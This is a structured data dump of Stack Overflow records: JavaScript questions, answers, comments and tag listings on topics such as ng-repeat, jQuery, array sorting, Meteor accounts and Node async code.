tags question: http://stackoverflow.com/q/25616190
tags question: http://stackoverflow.com/q/25554742
tags question: http://stackoverflow.com/q/25665744
tags question: http://stackoverflow.com/q/25665935
tags question: http://stackoverflow.com/q/25602881
tags question: http://stackoverflow.com/q/25610448
type: Tag
tags question: http://stackoverflow.com/q/25612682
tags question: http://stackoverflow.com/q/25652912
tags question: http://stackoverflow.com/q/25606757
tags question: http://stackoverflow.com/q/25621451
tags question: http://stackoverflow.com/q/25668535
tag name: charts
tags question: http://stackoverflow.com/q/25565177
tags question: http://stackoverflow.com/q/25558125
tags question: http://stackoverflow.com/q/25685727

http://stackoverflow.com/comment/39987527
type: QuestionComment
has text: Can you edit it buddy?? i am new to this!!
score: 0
comment on: http://stackoverflow.com/q/25599435
type: Comment

http://stackoverflow.com/q/25611326
tagged with: http://stackoverflow.com/tag/html
tagged with: angularjs
has answer: http://stackoverflow.com/a/25611559
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25611574
type: Question
possible better answer: http://stackoverflow.com/a/25611455
accepted answer: http://stackoverflow.com/a/25611574
has answer: http://stackoverflow.com/a/25611455
has body: Not quite sure how to ask this question, or even how to search for it TBH. I have a live photo/text stream pushing to an array, so my page constantly has info coming in. So my page is constantly receiving new info at a pretty fast rate. I was wondering how or what to search for online to essentially "pause" and "resume" the ng-repeat while still maintaining the info pushing to the array so a counter and button such as "10 new photos" appears. I realize this may be a loaded question, but to keep it "simple", I'd just like to know how to pause ng-repeat.
tagged with: javascript
has title: "pause" and "resume" an ng-repeat
score: 0
answer count: 3

concatenation
tags question: http://stackoverflow.com/q/25675423
type: Tag
tag name: concatenation

http://stackoverflow.com/comment/40122906
score: 4
type: Comment
has text: @lascort if he just removes the quotes it'll execute `makebox()` immediately. recommended practice is `setTimeout(makeBox, 1000)` but as is the quoted code will get eval'd and run when expected.
type: QuestionComment
comment on: http://stackoverflow.com/q/25673827

http://stackoverflow.com/comment/49775932
score: 0
comment on: http://stackoverflow.com/a/25596215
type: Comment
has text: I am not able to do this when page is not checked out is there a way where I can add .CheckOut() and do this?
type: AnswerComment

http://stackoverflow.com/comment/40017055
type: Comment
type: QuestionComment
has text: @David: Where were you writing to the console?
comment on: http://stackoverflow.com/q/25615517
score: 0

http://stackoverflow.com/q/25646343
has body: I have an asp page which calling another popup page on button click event. and few values are returned from the popup page by following code. function ShowSelfpopup() {var customizeParamGL = 'status:no;help:no;dialogWidth:600px;dialogHeight:550px;scrolling=no'; var FunctionID = document.getElementById("ctl00_contPlcHdrMasterHolder_LstxtHidFUNCTION_ID").value; window.showModalDialog('corBrmBlockIssuAndMaintFindUI.aspx?Function_Id=' + FunctionID + '', window, customizeParamGL); debugger; if (XYZ_PID != '') { debugger; document.getElementById("ctl00_contPlcHdrMasterHolder_LsddlProductID99").value = XYZ_PID; document.getElementById("ctl00_contPlcHdrMasterHolder_LstxtStartNo").value = XYZ_SN; document.getElementById("ctl00_contPlcHdrMasterHolder_LstxtEndNo").value = XYZ_EN; document.getElementById("ctl00_contPlcHdrMasterHolder_lstxthide").value = XYZ_BP; aspnetForm.submit(); return true; } else { return false; } } Now I have a Text changed event method for LstxtEndNo. Which is firing only first time I am getting data from the popup form. next time I'm calling the popup form and getting data as i confirmed by debugging. but its neither changing values in the textbox nor firing text changed event.
has title: Popup form changing textbox value only once
has comment: http://stackoverflow.com/comment/40083772
has comment: http://stackoverflow.com/comment/40072916
answer count: 1
has comment: http://stackoverflow.com/comment/40073181
tagged with: asp.net
type: UnansweredQuestion
score: 0
type: Question
tagged with: c#
has comment: http://stackoverflow.com/comment/40072862
has answer: http://stackoverflow.com/a/25652267
has comment: http://stackoverflow.com/comment/40075367
tagged with: javascript

http://stackoverflow.com/comment/40032211
type: AnswerComment
comment on: http://stackoverflow.com/a/25608444
score: 0
type: Comment
has text: @user1758831 you can thank by upvoting as well. (this is encouraged)

http://stackoverflow.com/comment/40088688
type: QuestionComment
comment on: http://stackoverflow.com/q/25654716
type: Comment
score: 1
has text: Have a look at AngularJS.

http://stackoverflow.com/a/25687517
answers question: http://stackoverflow.com/q/25687414
type: Answer
score: 0
has body: You can chain operations on a single object like this: element .html('test') .css('color', 'green'); The caveat is that each method is invoked on the return value of the previous method, so in jQuery where you get an object returned, this can work well, but if you invoke a method with no return value, things can get weird. The only error in your first code block was the comma between the .html() call and the .css() call.

http://stackoverflow.com/q/25562343
downvote count: 0
has title: draw square without googlemap with 4 coordinates?
favorite count: 0
has comment: http://stackoverflow.com/comment/39918737
type: UnansweredQuestion
has body: I have a table ,there are 4 lat,long our table : corner1_lat (Latitude of the southeast corner of the grid box ) 40.617055 corner1_long (Longitude of the southeast corner of the grid box ) -89.461143 corner2_lat (Latitude of the northwest corner of the grid box ) 40.798627 corner2_long (Longitude of the northwest corner of the grid box) -89.641881 grid_size(This is a value, in meters, of the size of the grid ) 75 This is image . i want to draw a single square with 4 coordiantes without Googlemaps?? Is it possible without google map ??
tagged with: http://stackoverflow.com/tag/html
answer count: 0
score: 1
upvote count: 1
tagged with: coordinates
has comment: http://stackoverflow.com/comment/39918768
has comment: http://stackoverflow.com/comment/39986831
type: Question
has comment: http://stackoverflow.com/comment/39918685
tagged with: javascript

http://stackoverflow.com/q/25573120
has body: In jQuery simply adding $("div") selects all elements with a tag name of &lt;div&gt;. Suppose I wanted to do this in pure JavaScript, I would try entering this: document.getElementsByTagName("div"), but this only returns a list of elements. You cannot edit these elements all at once, you have to select them in order of occurrence, like so: document.getElementsByTagName("div")[*occurrence*]. Is there any way to select all of these elements at once and store them in a variable? Thanks.
has answer: http://stackoverflow.com/a/25573338
has comment: http://stackoverflow.com/comment/39939455
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25573159
favorite count: 0
possible better answer: http://stackoverflow.com/a/25573338
has comment: http://stackoverflow.com/comment/39939459
downvote count: 2
type: AnsweredQuestion
has title: Modify all elements with the same tag name
has answer: http://stackoverflow.com/a/25573159
type: Question
answer count: 2
upvote count: 0
score: -2
tagged with: javascript

http://stackoverflow.com/a/25638038
answers question: http://stackoverflow.com/q/25637719
type: Answer
has body: refresh database: Calling $('#table').dataTable().fnDestroy(); will clear the table of dataTable code and allow you to manipulate the table, and then call dataTable on it again. Reset form: http://jsfiddle.net/8zLLn/ $('#reset').click(function(){ $('#myform')[0].reset(); }); very well answered by shmuel613 and tadiou thank you both.
score: 0

http://stackoverflow.com/q/25568863
has title: Java Android Adding values to ArrayList
type: Question
tagged with: javascript
tagged with: arraylist
tagged with: android
answer count: 1
has answer: http://stackoverflow.com/a/25569772
has comment: http://stackoverflow.com/comment/39931356
score: 0
type: UnansweredQuestion
has body: I am trying to add values to arraylist in android application. The problem that I am having is that the value is not being inserted in the array list. Code Below: for (var c=0; c &lt; SelectedFavContacts.length; c++){ if (SelectedFavContacts[c] !== undefined) { var SelectedContact = document.getElementById(SelectedFavContacts[c]).getElementsByTagName('a')[0].innerHTML; for( i = 0 ; i &lt; arrayKeys.length; i++ ) { var records = myContacts[arrayKeys[i]]; for(var r_key in records) { if (SelectedContact == records[r_key].name) { if (typeof FavContacts[looper] == 'undefined') { FavContacts[looper] = new Array(); } FavContacts[looper].push({"name":records[r_key].name, "pNumber": records[r_key].pNumber, "img": records[r_key].img} ); looper++; alert(records[r_key].name); //displaying successfully the name successfully; window.MainActivity.SetFavSettings(records[r_key].name, records[r_key].pNumber, records[r_key].img); break; } } } } } private List&lt;String&gt; listContactName = new ArrayList&lt;String&gt;(); private List&lt;String&gt; listContactNo = new ArrayList&lt;String&gt;(); private List&lt;String&gt; listFavImg = new ArrayList&lt;String&gt;(); @JavascriptInterface public void SetFavSettings(String FavContactName, String FavContactNo, String FavImg){ listContactName.add(FavContactName); listContactNo.add(FavContactNo); listFavImg.add(FavImg); DialogInterface.OnClickListener dialogClickListenera = new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { switch (which){ case DialogInterface.BUTTON_POSITIVE: finish(); break; case DialogInterface.BUTTON_NEGATIVE: break; } } }; // favContactName is being displayed. //listContactName.get(0) = Nothing // listContactName.size() = nothing AlertDialog.Builder buildera = new AlertDialog.Builder(MainActivity.this); buildera.setMessage("entered " + FavContactName + " checking :)) = " + listContactName.get(0) + " list size = " + listContactName.size()).setPositiveButton("Yes", dia…
tagged with: java

http://stackoverflow.com/a/25582948
has comment: http://stackoverflow.com/comment/118869483
downvote count: 74
has body: I want to know if the JavaScript function Math.random is normal distribution or not Javascript Math.random is not a Normal Distribution(Gaussian bell curve). From ES 2015, 20.2.2.27 "Returns a Number value with positive sign, greater than or equal to 0 but less than 1, chosen randomly or pseudo randomly with approximately uniform distribution over that range, using an implementation-dependent algorithm or strategy. This function takes no arguments." So the provided collection when n is high enough we will get approximately uniform distribution. All values in the interval will have equal probability of appearance(straight line parallel to the x axis, denoting number between 0.0 and 1.0). how can I get numbers which are normal distribution There are several ways of getting collection of numbers with a normal distribution. As answered by Maxwell Collard the Box-Muller transform does transform uniform distribution to normal distribution(the code can be found in Maxwell Collard answer). An answer to another stackoverflow answer to a question has a reply with other uniform distribution to normal distribution algorithms. Such as: Ziggurat, Ratio-of-uniforms, Inverting the CDF Besides one of the answers says that: says: The Ziggurat algorithm is pretty efficient for this, although the Box-Muller transform is easier to implement from scratch (and not crazy slow). And finally I want to rebuilt a Schmidt-machine (German physicist), the machine produces random numbers of 0 or 1 and they have to be normal distributed so I can draw them in Gaussian bell curve. When we have only two values (0 or 1) Gaussian curve looks the same as uniform distribution with 2 possible values. That is why a simple function randomZero_One(){ return Math.round(Math.random()); } would suffice. It would return pseudo-randomly with approximately equal probability values 0 and 1.
has comment: http://stackoverflow.com/comment/94180955
upvote count: 143
score: 69
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/94186993
answers question: http://stackoverflow.com/q/25582882
has comment: http://stackoverflow.com/comment/94176062
type: Answer
accepted answer of: http://stackoverflow.com/q/25582882

http://stackoverflow.com/a/25607718
upvote count: 3
score: 3
has body: Do not push the object as string, rather do it as an object. Change this part where you are sending it: sound_files.push("{mp3: \"my_directory/" + mp3 + "\"}"); As an object: sound_files.push({mp3: "my_directory/" + mp3});
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25607669
type: Answer
accepted answer of: http://stackoverflow.com/q/25607669
has comment: http://stackoverflow.com/comment/40002983

http://stackoverflow.com/a/25641368
score: 9
has comment: http://stackoverflow.com/comment/48835458
answers question: http://stackoverflow.com/q/25633065
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25633065
upvote count: 9
has body: Well, you can either define it as a data attribute (more information here) Template or set the optionLabel option in the $scope Controller ... $scope.options = { optionLabel: "Item...", dataTextField: 'label', dataValueField: 'id', dataSource: { data: [ { "label": "Please Select..." }, { "id": "linear", "label": "Sample Linear" }, { "id": "bar", "label": "Sample Bar" } ] } }; ...
has comment: http://stackoverflow.com/comment/65826327
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/65681293

http://stackoverflow.com/q/25673695
has body: In my code: // Here we get the nodes for each job and select them from the combo box. var nodesArrayForJobID = this.getNodesForJobID(jobID); for (var i = 0; i &lt; nodesArrayForJobID.length; i++) { var node = nodesArrayForJobID[i]; Ext.getCmp(jobID + "combobox_nodes").select(node) } It knows to select more than one value (runs through for loop twice), but selecting a new value deselects the old one. How can I select more than one value at once? I'm looking for either a command that selects multiple nodes (takes in an array), or a command that has a parameter to specifically not deselect existing selected nodes. Thanks.
tagged with: combobox
type: AnsweredQuestion
has title: How to programmatically select more than one value in Ext JS Combobox?
has answer: http://stackoverflow.com/a/25674700
tagged with: select
upvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/25674700
has answer: http://stackoverflow.com/a/25679635
tagged with: javascript
has answer: http://stackoverflow.com/a/45430504
answer count: 3
downvote count: 0
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25679635
tagged with: extjs

http://stackoverflow.com/q/25700453
tagged with: jquery-selectors
has answer: http://stackoverflow.com/a/25700545
accepted answer: http://stackoverflow.com/a/25700500
has comment: http://stackoverflow.com/comment/40171303
has title: Jquery append methos
has comment: http://stackoverflow.com/comment/40171979
answer count: 4
tagged with: jquery-append
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25700483
has answer: http://stackoverflow.com/a/25700483
has answer: http://stackoverflow.com/a/25700485
has answer: http://stackoverflow.com/a/25700500
type: Question
has body: not here append some text only here not here not here not here not here I want to append some text only if the li tag has a child ul tag.
has comment: http://stackoverflow.com/comment/40171330
has comment: http://stackoverflow.com/comment/40171311
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/a/25626497
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25626158
upvote count: 1
has body: The first statement defines a new object with a single property named key0. The second statement assigns a value to the object's property named key1. Since the object doesn't have its own property named key1, the property is created. The third statement is identical in effect to the second statement. The main reasons to use bracket notation instead of dot notation are: properties with special characters, e.g., collection["foo-bar"] refers to a property called foo-bar, but collection.foo-bar performs a subtraction operation on collection.foo and bar. variable property names, e.g., you can do var propName = "key0"; collection[propName] = ... The only other way to define properties is with Object.defineProperty (and the multiple variant Object.defineProperties). This allows you to define properties that behave in special ways. Object.defineProperty(collection, "key3", { enumerable: false, // property will not show up in for-in loops configurable: false, // property cannot be changed set: function(val) { alert("we tried to set key3 to " + val); }, get: function() { alert("this code runs when we get collection.key3"); return "value3"; } }); collection.key3 = 6; // alerts "we tried to set key3 to 6" collection.key3; // alerts "this code runs when we get collection.key3" // and returns the string "value3"
type: Answer

http://stackoverflow.com/comment/40120990
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25672822
has text: I know what I want. I have worked on it, tried jquery and javascript, both have failed (it could of possibly been because of a reference issue on them). I need to hide all elements when one is clicked to become visible.
score: 0

http://stackoverflow.com/q/25643114
type: Question
has body: I have been trying for days to get a list of logged in users in a Meteor chat app. I tried many different things. I managed to add a login flag on the user profile object. Server side: Accounts.onCreateUser(function(options, user) { if(!options.profile){ options.profile = {} } options.profile.login = false; if (options.profile) user.profile = options.profile; return user; }); In the browser console I get this: Meteor.user().profile Object {login: false} So that seems to work. Now I want to list if users are logged in: Client side Deps.autorun(function(){ if(Meteor.userId()){ Meteor.user().profile.login=true; } }); After checking the login remains false when I log in. This template html gives me a list of all usernames but not the login flag {{#each allUsers}} &lt;p&gt;{{username}}&lt;/p&gt;&lt;p&gt;{{profile.login}}&lt;/p&gt; {{/each} So my problems are : profile.login remains false and I cannot display profile.login but the usernames are displayed. Thank you in advance. Greetings Joris
has answer: http://stackoverflow.com/a/25644146
has title: How can I display a list of all LOGGED IN users with Meteor.js
tagged with: javascript
answer count: 1
downvote count: 0
tagged with: meteor
favorite count: 0
accepted answer: http://stackoverflow.com/a/25644146
tagged with: user-profile
score: 2
type: AnsweredQuestion
tagged with: user-accounts
upvote count: 2

http://stackoverflow.com/q/25681442
duplicate of: http://stackoverflow.com/q/12182121
type: Question
has body: I want to convert a java variable(containing newline and other special characters) from server side sent to JSP to javascript variable. In my JSP, var test = '${educationDescription}'; alert(test); Value of educationDescription sent from server side is This is test containing newline and other special chars like " &amp; ; etc But I am getting javascript error for the above code snippet.
has comment: http://stackoverflow.com/comment/40137035
tagged with: javascript
has comment: http://stackoverflow.com/comment/40136407
score: 0
answer count: 2
tagged with: jstl
has comment: http://stackoverflow.com/comment/40136776
tagged with: jsp
has answer: http://stackoverflow.com/a/25681807
has answer: http://stackoverflow.com/a/25681882
has comment: http://stackoverflow.com/comment/40136451
has title: Convert Java variable containing newline to javascript variable
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/12182121
tagged with: java
has comment: http://stackoverflow.com/comment/40137094

http://stackoverflow.com/comment/78080659
type: AnswerComment
has text: Thanks this worked for me... and i voted your answer
score: 0
type: Comment
comment on: http://stackoverflow.com/a/30109366

http://stackoverflow.com/a/25690295
accepted answer of: http://stackoverflow.com/q/25690213
downvote count: 0
has comment: http://stackoverflow.com/comment/40152672
has comment: http://stackoverflow.com/comment/40153320
answers question: http://stackoverflow.com/q/25690213
has body: Assuming you're setting .prices to display:none; you could do this: Javascript: $(document).ready(function(){ $('.prices:first-child').addClass('active'); }); CSS: .prices.active { display:block; }
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40152741
score: 1
has comment: http://stackoverflow.com/comment/40152947
type: AcceptedAnswer

http://stackoverflow.com/q/25580280
tagged with: spring
linked to: http://stackoverflow.com/q/4303829
has title: sometimes ajax works & sometime not & click on row function is also not working
has body: can we write two ajax success function on same page because sometimes its work sometime not doajaxpost function is to load data in 2nd dropdown list when 1st dropdown list onchange function call by using ajax and searching function is to load data in table by using ajax but it sometime get execute properly sometimes not showing any result function doAjaxPost(instituteId) { alert(instituteId); // get the form values /* var name = $('#name').val(); var education = $('#education').val(); */ $.ajax({ type : "POST", url : "/paymentGateway/merchant", dataType : "json", data : "institutionId=" + instituteId, success : function(data) { // we have the response alert(data + "hiee"); var $merchantId = $('#merchant'); $merchantId.find('option').remove(); $("#merchant").append(" ALL "); $.each(data, function(key, value) { $(' ').val(value.merchantId).text(value.merchantId) .appendTo($merchantId); }); }, error : function(e) { alert('Error: ' + e); } }); } function searching() { // get the form values var institutionId = $('#instiuteId').val(); var merchantId = $('#merchant').val(); var userType = $('#userType').val(); var userStatus = $('#userStatus').val(); var userId = $('#userId').val(); alert("insti=" + institutionId + "mecrhant=" + merchantId + "usertyep=" + userType + "users=" + userStatus + "userid=" + userId); $.ajax({ type : "POST", url : "/paymentGateway/searching", dataType : "json", data : { institutionId : institutionId, merchantId : merchantId, userId : userId, userStatus : userStatus, userType : userType }, success : function(data) { // we have the response alert(data); /* var $merchantId = $('#dynamictable'); $merchantId.find('table').remove(); $('#dynamictable').append(' '); var table = $('#dynamictable').children(); */ $("#tablenew tbody tr:has(td)").remove(); $.each(data, function(key, value) { /* alert(value.institutionId); */ $('#tablenew tbody:last').append( " " + value.userId + " " + value.firstName + " " + value.userStatus + " " + value.userType + " " + va…
type: Question
has answer: http://stackoverflow.com/a/37200467
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25592386
tagged with: ajax
score: 0
answer count: 2
tagged with: datatables
type: UnansweredQuestion

http://stackoverflow.com/comment/117469342
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25793791
score: 0
has text: Hello friend, thank you for the great answer. It seems that link you posted is unavailable, how did you go about correctly calculating positions in parent box and positions of the ship?

http://stackoverflow.com/comment/39967658
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25584027
type: Comment
has text: Indeed it works, I tried `getElementById` and used `q` which was the name of the inputfield instead of the real id. Thanks.

http://stackoverflow.com/comment/40521416
comment on: http://stackoverflow.com/a/25675969
type: Comment
score: 0
type: AnswerComment
has text: @Amir I hope my above second solution works for you. It is good on my end.

http://stackoverflow.com/comment/41552002
type: Comment
comment on: http://stackoverflow.com/a/25702227
has text: @DavidHahn, before I spent anytime trying to configure Unicorn to work with websocket-rails, I ended up switching to Thin, running in threaded mode.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25699290
answer count: 2
downvote count: 1
tagged with: jquery
favorite count: 0
possible better answer: http://stackoverflow.com/a/27544713
type: AnsweredQuestion
has body: I have an array of objects like this: [ {x: 1, y: 4}, {x: 1, y: 2}, {x: 1, y: 3}, {x: 3, y: 4}, {x: 3, y: 2}, {x: 3, y: 9}, {x: 2, y: 5}, {x: 1, y: 0}, {x: 1, y: 2} ] and I'd like to sort it like this: [ {x: 1, y: 2}, {x: 1, y: 3}, {x: 1, y: 4}, {x: 2, y: 0}, {x: 2, y: 2}, {x: 2, y: 5}, {x: 3, y: 2}, {x: 3, y: 4}, {x: 3, y: 9} ] so the rule is: the array has to be sorted first by the x property, and then the sorting by the y property has to observe the first sorting. How can I do that? I tried: array.sort(function(a, b){ var elema = a["x"] ; var elemb = b["x"] ; if (elema &lt; elemb) return -1; if (elema &gt; elemb) return 1; return 0; }); array.sort(function(a, b){ var elema = a["y"] ; var elemb = b["y"] ; if (elema &lt; elemb) return -1; if (elema &gt; elemb) return 1; return 0; }); but it does not work properly. Thanks
score: 1
has title: Sorting an Array of Objects by 2 Properties
type: Question
tagged with: javascript
tagged with: sorting
has answer: http://stackoverflow.com/a/25699335
accepted answer: http://stackoverflow.com/a/25699335
has answer: http://stackoverflow.com/a/27544713
upvote count: 2

http://stackoverflow.com/q/25705067
type: Question
has answer: http://stackoverflow.com/a/25705335
has comment: http://stackoverflow.com/comment/40180509
has answer: http://stackoverflow.com/a/25705440
tagged with: javascript
score: 43
answer count: 3
accepted answer: http://stackoverflow.com/a/25705318
tagged with: asynchronous
favorite count: 0
tagged with: npm
has answer: http://stackoverflow.com/a/25705318
upvote count: 43
tagged with: node.js
type: AnsweredQuestion
has title: Using Async waterfall in node.js
possible better answer: http://stackoverflow.com/a/25705335
downvote count: 0
has body: I have 2 functions that I'm running asynchronously. I'd like to write them using waterfall model. The thing is, I don't know how.. Here is my code : var fs = require('fs'); function updateJson(ticker, value) { //var stocksJson = JSON.parse(fs.readFileSync("stocktest.json")); fs.readFile('stocktest.json', function(error, file) { var stocksJson = JSON.parse(file); if (stocksJson[ticker]!=null) { console.log(ticker+" price : " + stocksJson[ticker].price); console.log("changing the value...") stocksJson[ticker].price = value; console.log("Price after the change has been made -- " + stocksJson[ticker].price); console.log("printing the the Json.stringify") console.log(JSON.stringify(stocksJson, null, 4)); fs.writeFile('stocktest.json', JSON.stringify(stocksJson, null, 4), function(err) { if(!err) { console.log("File successfully written"); } if (err) { console.error(err); } }); //end of writeFile } else { console.log(ticker + " doesn't exist on the json"); } }); } // end of updateJson Any idea how can I write it using waterfall, so i'll be able to control this? Please write me some examples because I'm new to node.js

http://stackoverflow.com/comment/39976101
comment on: http://stackoverflow.com/a/25593069
type: Comment
score: 0
type: AnswerComment
has text: Usually I tend to define UI visuals and also transformations in CSS and add and remove classes in js. Now browsers support it smoothly! :)

http://stackoverflow.com/comment/40194504
score: 0
comment on: http://stackoverflow.com/q/25712841
type: Comment
type: QuestionComment
has text: @ZekeSonxx There is no error or stacktrace, it just exits.

http://stackoverflow.com/comment/40185849
type: QuestionComment
has text: thats how it is as i'm using jform in joomla
comment on: http://stackoverflow.com/q/25707491
score: 0
type: Comment

http://stackoverflow.com/q/25573826
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25573906
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25573893
has title: jQuery replaceWith deleting my :after pseudoelement
type: Question
has comment: http://stackoverflow.com/comment/39940795
answer count: 2
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39940926
possible better answer: http://stackoverflow.com/a/25573906
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25573893
has body: I have some code which uses the jQuery replaceWith function, but it seems replaceWith gets rid of the pseudoelement :after on the div I'm invoking replaceWith on. Is there a similar function that acts exactly the same as replaceWith but does not destroy my :after pseudoelement? Here's my code: $("#someDiv").replaceWith("some text here"); Is this intended behavior of jQuery or is it a bug?
tagged with: css
tagged with: pseudo-element

http://stackoverflow.com/comment/40014925
comment on: http://stackoverflow.com/q/25597978
has text: OK I'm struggling with implementing this concept. Any ideas of the actual code rather than the high level view?
score: 0
type: Comment
type: QuestionComment

kendo-ui
tags question: http://stackoverflow.com/q/25603938
tags question: http://stackoverflow.com/q/25609741
tags question: http://stackoverflow.com/q/25574099
type: Tag
tags question: http://stackoverflow.com/q/25656340
tags question: http://stackoverflow.com/q/25629164
tag name: kendo-ui
tags question: http://stackoverflow.com/q/25587987
tags question: http://stackoverflow.com/q/25666213
tags question: http://stackoverflow.com/q/25633065
tags question: http://stackoverflow.com/q/25642657
tags question: http://stackoverflow.com/q/25674406
tags question: http://stackoverflow.com/q/25689191
tags question: http://stackoverflow.com/q/25631862
tags question: http://stackoverflow.com/q/25648803
tags question: http://stackoverflow.com/q/25554483

http://stackoverflow.com/q/25574914
accepted answer: http://stackoverflow.com/a/25587472
downvote count: 1
has comment: http://stackoverflow.com/comment/39944741
favorite count: 0
upvote count: 0
tagged with: error-reporting
has body: I typically use Firebug for development, but lately some of my scripts have been failing silently. After hours of tracking down the error, I discovered I was attempting to get a property of an undefined variable. The console had no errors, the page just "broke". However, in the Chrome DevTools it correctly identifies the error. here is a simple test case: var x = { i: {a:1,b:2} } In Chrome you get console.log(x.i.a); //1 console.log(x.iii.a); //Uncaught TypeError: //Cannot read property 'a' of undefined console.log('finished'); //does not execute In Firebug you get console.log(x.i.a); //1 console.log(x.iii.a); //(nothing) console.log('finished'); //does not execute See this Fiddle. So in a real script, when this happens, I have a seriously hard time tracking down where my script is halting, and I have to add a huge amount of console logging just to narrow down the error. Is this a bug, or somehow the intended behavior of Firebug, or maybe there's a setting I can tweak? I'm using 2.0.3.
linked to: http://stackoverflow.com/q/8212373
has answer: http://stackoverflow.com/a/25587472
has comment: http://stackoverflow.com/comment/39942980
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/39944674
type: AnsweredQuestion
score: -1
type: Question
has title: Why does Firebug not show an 'Uncaught Type Error' for undefined properties?
tagged with: firebug
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40148917
score: 0
comment on: http://stackoverflow.com/q/25684371
has text: I looked at ngcordova but they didnt seem to have a wrapper to access the calendar, just camera etc, will look at $ionicPlatform provider now :)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40070484
type: AnswerComment
has text: Thanks for the suggestion. I am not keen on closures - it makes the code hard to read.
type: Comment
comment on: http://stackoverflow.com/a/25642933
score: 0

ruby-on-rails-3
tags question: http://stackoverflow.com/q/25678338
tag name: ruby-on-rails-3
type: Tag

source-maps
type: Tag
tag name: source-maps
tags question: http://stackoverflow.com/q/25567254

http://stackoverflow.com/comment/40185545
comment on: http://stackoverflow.com/q/25707871
score: 0
type: Comment
type: QuestionComment
has text: The blinking line that marks your current position in a textbox.

http://stackoverflow.com/comment/40151963
comment on: http://stackoverflow.com/a/25689929
type: AnswerComment
score: 0
type: Comment
has text: Thats a long fixed issue, fixed with ES5 http://stackoverflow.com/a/7246662/1517919

http://stackoverflow.com/q/25699321
has title: Replicating/overriding javascript's console.log function
tagged with: http://stackoverflow.com/tag/html
tagged with: macos
tagged with: cocoa
downvote count: 0
score: 1
type: AnsweredQuestion
tagged with: javascript
type: Question
has body: OK, so here's what I'm trying to do: I'm building a Javascript->Cocoa/Objective-C bridge (a tiny test actually), which means that I'm able to call an Objective-C function from my JavaScript code. One of the issues faced is that messages/errors/logs/etc from console.log are not visible, so they are to be forwarded to the corresponding Cocoa function (i created one like - (void)log:(NSString*)msg which simply takes a parameter as string and prints it out in the Xcode's console window. Now, the thing is how do I replicate 100% what console.log does + forward the message to my own log function? This is what I've done so far: Javascript console.log = function(text) { API.log_(text); } Objective-C - (void)log:(NSString*)msg { NSLog(@"Logging from JS : %@", msg); } If "text" is a simple text string when calling console.log("something"), then it works fine. If I pass the console.log function an object, then it's not working as expected (e.g. in Chrome's Javascript console window). How would you go about it? Is it possible to get the string output of what console.log would normally print out? P.S. I tried playing with JSON.stringify(obj, null, 4) a bit, but it still doesn't seem right. Any ideas?
accepted answer: http://stackoverflow.com/a/25699396
upvote count: 1
answer count: 1
tagged with: objective-c
favorite count: 0
has answer: http://stackoverflow.com/a/25699396

http://stackoverflow.com/a/25606645
downvote count: 0
score: 1
type: Answer
upvote count: 1
has body: Try this fiddle it will not accepting double sign. http://jsfiddle.net/pee7d6qr/1/ if (placement === 'before') { if(document.getElementById("budget").value.indexOf("$") == -1){ document.getElementById("budget").value = sign + document.getElementById("budget").value; } else { document.getElementById("budget").value = document.getElementById("budget").value; } } if (placement === 'after') { if(document.getElementById("budget").value.indexOf("M/GP") == -1){ document.getElementById("budget").value = document.getElementById("budget").value + sign; } else { document.getElementById("budget").value = document.getElementById("budget").value; } }
answers question: http://stackoverflow.com/q/25606150

http://stackoverflow.com/comment/40185539
has text: I think you should do it with opacity or display hidden like thing. And you can do it with css animations too.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25708163
type: QuestionComment

http://stackoverflow.com/comment/39985642
comment on: http://stackoverflow.com/q/25597981
type: Comment
type: QuestionComment
has text: sounds like possibly a caching issue then, try clearing your cache. Similarly, if you can open developer console and see at which point the `undefined` exception is being thrown to help narrow down where the issue is. Regardless.. the above issues still should be looked at :)
score: 0

http://stackoverflow.com/q/25662739
favorite count: 0
has title: Global variable between event handlers
accepted answer: http://stackoverflow.com/a/25662775
score: 0
upvote count: 1
tagged with: global-variables
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25662775
has answer: http://stackoverflow.com/a/25662789
tagged with: javascript
has answer: http://stackoverflow.com/a/25662826
has body: I have a map inside my canvas. I want to drag this map using mouse pointer. I set global variable dragMap to false at the beginning and set it to true when the mouse is down and then set it back to false when it's up. For dragging I check this global variable value inside handler for mousemove event and if it's true, I redraw the map with offset. Written above is what I want my code to do but it doesn't work. Inside the mousemove handler dragMap varialbe is always false. When I click and drad this map my console log shows: true 14 false The first "true" occures from mousedown handler, the "falses" - from mosemove event. What am I doing wrong? $(document).ready(function(){ var dragMap = false; var startDragMapX; var startDragMapY; $("#myCanvas").mousedown(function(e){ dragMap = true; startDragMapX = e.pageX; startDragMapY = e.pageY; console.log(dragMap); //var x = e.pageX - this.offsetLeft; //var y = e.pageY - this.offsetTop; }); $("#myCanvas").mousemove(function(e){ console.log(dragMap); if(dragMap) { console.log(2); oX = e.pageX-startDragMapX; oY = e.pageY-startDragMapY; draw(ctx,1,1,oX,oY); } }); $("#myCanvas").mousedown(function(){ dragMap = false; }); });
type: Question
possible better answer: http://stackoverflow.com/a/25662789
answer count: 3
tagged with: jquery

